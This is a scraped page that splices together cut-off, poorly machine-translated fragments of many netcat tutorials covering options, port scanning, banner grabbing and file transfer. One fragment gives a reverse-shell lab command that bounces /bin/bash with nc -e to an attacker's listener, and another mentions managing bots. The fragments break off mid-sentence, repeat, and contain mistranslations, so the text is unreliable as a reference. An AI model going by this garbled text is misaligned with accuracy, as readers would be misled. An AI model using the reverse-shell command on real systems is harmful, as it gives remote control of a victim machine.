I. VersionGenerally, Linux releases contain Netcat (NC), and busybox provides a simplified NC tool even on the rescue Mode CD. However, the parameters of different versions vary slightly.Netcat official address: http://netcat.sourceforge.net/Reference
[Root @ hatest1 ~] # Cat/etc/Asianux-releaseAsianux Release 2.0 (Trinity SP2)[Root @ hatest1 ~] # Cat/etc/redflag
The 1,NC command is the abbreviation for the Netcat command, which is used to set up the router.2, grammarNc/netcat (option) (parameter)3, Options-gThe number of-g-H: Online help;-i-L: Monitor the incoming data using the listening mode;-N: Use the IP address directly, not through the domain name server;-o-p-r: Specifies the source port and destination port are ra
Netcat also known as NC tools, its main role is to establish a connection and return two data streams, the rest of the imagination, the imagination is very important, this is the tool of the strong place, so important things to say three times, imagination!
The specific parameters are as follows:
-D No command-line interface, using background mode-E Prog program redirection, on
Nc--telnet/bannerAfter the connection can command interaction, such as pop3\smtp\http and other protocol commands[Email protected]:/# nc-v POP3.163. com the //- v Verbose displayDNS Fwd/rev mismatch:pop3.163. idns.yeah.net! = m12-110.163. compop3.163. idns.yeah.net [220.181.12.110] the(POP3) Open+OK Welcome to Coremail Mail Pop3 Server (163coms[726cd87d72d896a1ac393507346040fas]) [email protected]:/#
Principle
Lab Environment:
Attack aircraft: Windows machine, ip:192.168.12.109
Victim machine: Linux machine, ip:192.168.79.1
Thunderbolt: Set local listening port 2222
2222
Victim machine: Bounce/bin/bash to 2222 port of the attack aircraft (192.168.12.109)
192.168. 12.109 2222 -e/bin/bashAfter the rebound shell is successful, the/bin/bash command under Linux can be executed under Windows Cmd.exe.Note: In the security perspective, the NC's-e option has so
Netcat is a Swiss Army knife in a network tool that can read and write data through TCP and UDP on the network. By combining and redirecting with other tools, you can use it in a variety of ways in your script. It's amazing what you can do with the Netcat command.What Netcat do is create a link between the two computers and return two data streams, and what you c
Netcat is a " Swiss Army Knife"in Network tools that can read and write data through TCP and UDP on the network. By combining and redirecting with other tools, you can use it in a variety of ways in your script. It's amazing what you can do with the Netcat command.What netcat do is create a link between the two computers and return two data streams, and what you
-routing pointer:4, 8, 12, ...-H Help Information-I secs delay interval-L listening mode for inbound connections-n Specifies the IP address of the number and cannot be used hostname-O file record 16-binary transfer-P port Local port number-R arbitrarily specify local and remote ports-S addr Local Source Address-U UDP mode-v Verbose output-with two-V for more detailed content-W secs timeout time-Z turns the input and output off-when used for scanning1) Simple ServerNC-L-P 1234 [assuming this host
ArticleDirectory
1. Netcat in a server-client architecture
2. Use Netcat to transfer files
3. Netcat supports timeouts
4. Netcat supports IPv6 connectivity
5. Disable reading from stdin in Netcat
6. Force Netcat
. Okay, let's talk about it. Let's get started.: PThere are two versions of Netcat online, one is @ Stake Netcat, http://www.atstake.com/research/Tools/network_utilities/The first version, the GNU Netcat. http://netcat.sourceforge.net/download.php.I personally prefer to use GNU Netcat because it has more functions, but
Examples of Linux netcat commands:1, Port scanPort scans are often used by system administrators and hackers to discover ports that are open on some machines to help them identify vulnerabilities in the system.$NC-Z-v-n 172.31.100.7 21-25Can be run in TCP or UDP mode, by default the Tcp,-u parameter is adjusted to UDP.The z parameter tells Netcat to use 0 IO, clo
The Ps.ubuntu comes with a NETCAT-OPENBSD version with no-c/-e parameters.PSS. Online markdown Editor Bug What's going on ... the "#" sign still shows# #参数Want to connect to a place:nc [-options] hostname port[s] [ports] …Bind port waits for connection:nc -l port [-options] [hostname] [port]
-g
The number of-g
-H: Online help;
-i
-L: Monitor the incoming data using the listening mode;
-N: Use the IP address directly, not t
following, let a as a server, B is the client.ServerNc-l 1567 ClientNc-n 10.9.17.100 156712345Here we create a server on a and redirect the input of netcat to file file.txt, then when any successful connection is made to that port, Netcat will send file contents.At the client we redirect the output to File.txt, when B connects to A,a to send the file contents, B saves the file contents to file.txt.There is
Document directory
1. Use Netcat in the server-client architecture
2. Use Netcat to transfer files
3. Netcat supports timeout Control
5. Disable reading data from standard input in Netcat
6. Force the Netcat server to be started
7. configuring the
The entire NC is called netcat, and it can establish and accept TCP and User Datagram Protocol (UDP) connections, Netcat can read and write data on those connections until the connection is closed. It can interact with the application-tier network application or service by hand or script. Technically speaking, Netcat d
Introduction: in the network tools have "swiss Army knife" reputation of netcat (hereinafter referred to as nc), in our use for n years has still been admiringly. Because it is short and concise (this is suitable for use in it, now someone has modified it to about 10K, and the function is not reduced).Parameter format connected to somewhere: NC [-options] hostnam
NetCat is known as "Swiss Army knife" in network tools, and has Windows and Linux versions. It is designed as a simple and reliable network tool because it is short (1.84 is only 25 KB, earlier version or even smaller version) and has practical functions, read/write data can be transmitted over TCP or UDP. At the same time, it is also a network application Debug analyzer, because it can create different types of network connections as needed. I. The c
Netcat or NC is one of the Linux tools for debugging and checking the Network toolkit. Can be used to create TCP/IP connections, and the biggest use is to handle TCP/UDP sockets.Here we will use some examples to learn the Netcat command.1. Using Netcat on the server-client architectureThe
Use Netcat 1.10
0. Preface1. Netcat 1.10 for NT-nc11nt.zip, original English Information2. Netcat 1.10 for NT help information3. Common Netcat 1.10 command formats4. Manage bots and change zombie settings5. Download the connection6. Postscript
######################################## ##############################0. P
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.